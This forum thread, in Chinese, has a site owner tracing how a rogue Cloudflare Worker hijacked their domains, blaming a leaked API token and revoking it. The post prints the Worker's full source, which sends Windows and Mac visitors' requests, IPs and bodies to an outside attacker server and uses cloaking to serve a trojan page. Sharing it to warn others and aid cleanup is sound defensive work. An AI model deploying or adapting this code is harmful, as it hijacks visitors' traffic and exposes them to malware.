(三编,应该解决了)cf网站被劫持,挂了剪切板木马,叫codex分析了一下原因

09 2026-10-05 19:33 1

早上起来打开我的网站,突然发现了这个页面



这玩意之前遇到过很多次,一看就是木马,肯定是不可能照做的


我之前在cf上部署过一次博客也被挂过一次木马,手上又没有什么能力去排查一下什么问题,当时还有些事情,懒得搞了,后面直接切到eo page上面了。


现在这一回这个网站也被劫持了,这个时候我刚好也不急,我就要来找找原因了,直接把界面扔给 Codex,我在 Cloudflare 的 API 令牌里面创建了一个可以管理全部项目的 API token,叫他一个一个排查。


过了几分钟Codex研究了一下,后面发现是我的cloudfare下有一个可疑worker。



然后我叫Astra先别删,把worker的链接发给我,我来去找


然后我进到那个worker目录下,发现它的路由绑定了我所有的根域名,也是逆天。他要是绑定的是自定义域,这种情况下,我如果去解析的话会出现出错。但是,如果是直接通过路由的方式来进行关联的话,我哪怕解析也不会报错。



然后我点击编辑代码的时候,看一看它这个worker的源代码是什么。


直接把代码贴出来吧(以下是木马的worker的代码,不要粘贴到自己的worker上)


const VPS_ORIGIN = "https://27-april-tag.com";

export default {
async fetch(request, env, ctx) {
const userAgent = request.headers.get("User-Agent") || "";
const isWindows10or11 = userAgent.includes("Windows NT 10.0") || userAgent.includes("MiniRedir/10.0");
const isMac = /Mac OS X|Macintosh/.test(userAgent);

if (!isWindows10or11 && !isMac) {
return fetch(request);
}

const url = new URL(request.url);
const originalHostname = url.hostname;

const targetURL = VPS_ORIGIN + url.pathname + url.search;
const backupRequest = request.clone();

const proxyHeaders = new Headers(request.headers);
proxyHeaders.set("X-Forwarded-Host", originalHostname);
proxyHeaders.set("Host", new URL(VPS_ORIGIN).hostname);

const clientIP = request.headers.get("CF-Connecting-IP") || request.headers.get("X-Real-IP") || request.headers.get("X-Forwarded-For");
if (clientIP) {
proxyHeaders.set("X-Real-IP", clientIP);
proxyHeaders.set("CF-Connecting-IP", clientIP);
}

const proxyConfig = {
method: request.method,
headers: proxyHeaders,
redirect: "manual"
};

if (request.body && request.method !== "GET" && request.method !== "HEAD") {
proxyConfig.body = request.body;
}

try {
const response = await fetch(targetURL, proxyConfig);

if (response.headers.has("X-Adspect-Captcha")) {
return response;
}

return fetch(backupRequest);
} catch (err) {
return fetch(backupRequest);
}
}
};

伪装的还路由到的是zf的网站。(截一部分)



逆天,吓哭了。


看到还是3个月前通过API创建的,可能是我哪时候API泄露了吧。后面我就把所有的API令牌全删除掉。再按需进行创建。


(2026/10/05 21:20)


我测不对


你怎么又来了?



不是哥们



把唯一一个令牌改成只有dns编辑权限(ddns要用),看看还有没有说法。


(2026/10/05 21:29)


OK,应该是破案了。原因应该是我只是把账户令牌删了,但是用户令牌还没删,应该是用户令牌泄露了

最新回复 (6)
  • 09 楼主 10-05 21:27
    1楼

    (2026/10/05 21:20)


    我测不对


    你怎么又来了?



    不是哥们



    把唯一一个令牌改成只有dns编辑权限(ddns要用),看看还有没有说法。



    666,你怎么又来了哥们,还是一样的叫做muddy-mouse-3595的worker项目

  • hx3251 10-05 21:30
    2楼

    看看账户token是不是有问题,我前几天的workee也被替换了,域名都被代理了,删除账户token就好了

  • 09 楼主 10-05 21:32
    3楼

    对的,就是 API token 泄露了。我之前把账户令牌删了,过了差不多两个小时又被劫持了。一看 Worker,他那个项目又创建了,想着一个小时前创建的令牌不可能这么快就泄露,估计应该是其他地方。然后一看,用户令牌还没删

  • hx3251 10-05 21:34
    4楼

    感觉我们俩中毒一样,cf把2fa也开了吧,安全一些

  • 09 楼主 10-05 21:35
    5楼



    应该是令牌泄露了。我看了,他创建都是通过 API 令牌创建的,我把令牌删得只剩一个了。看看明天早上起来还会不会被劫持。

  • hx3251 10-05 21:36
    6楼

    cf也有ai分析,可以让cf的ai分析下

* 帖子来源Linux.do
返回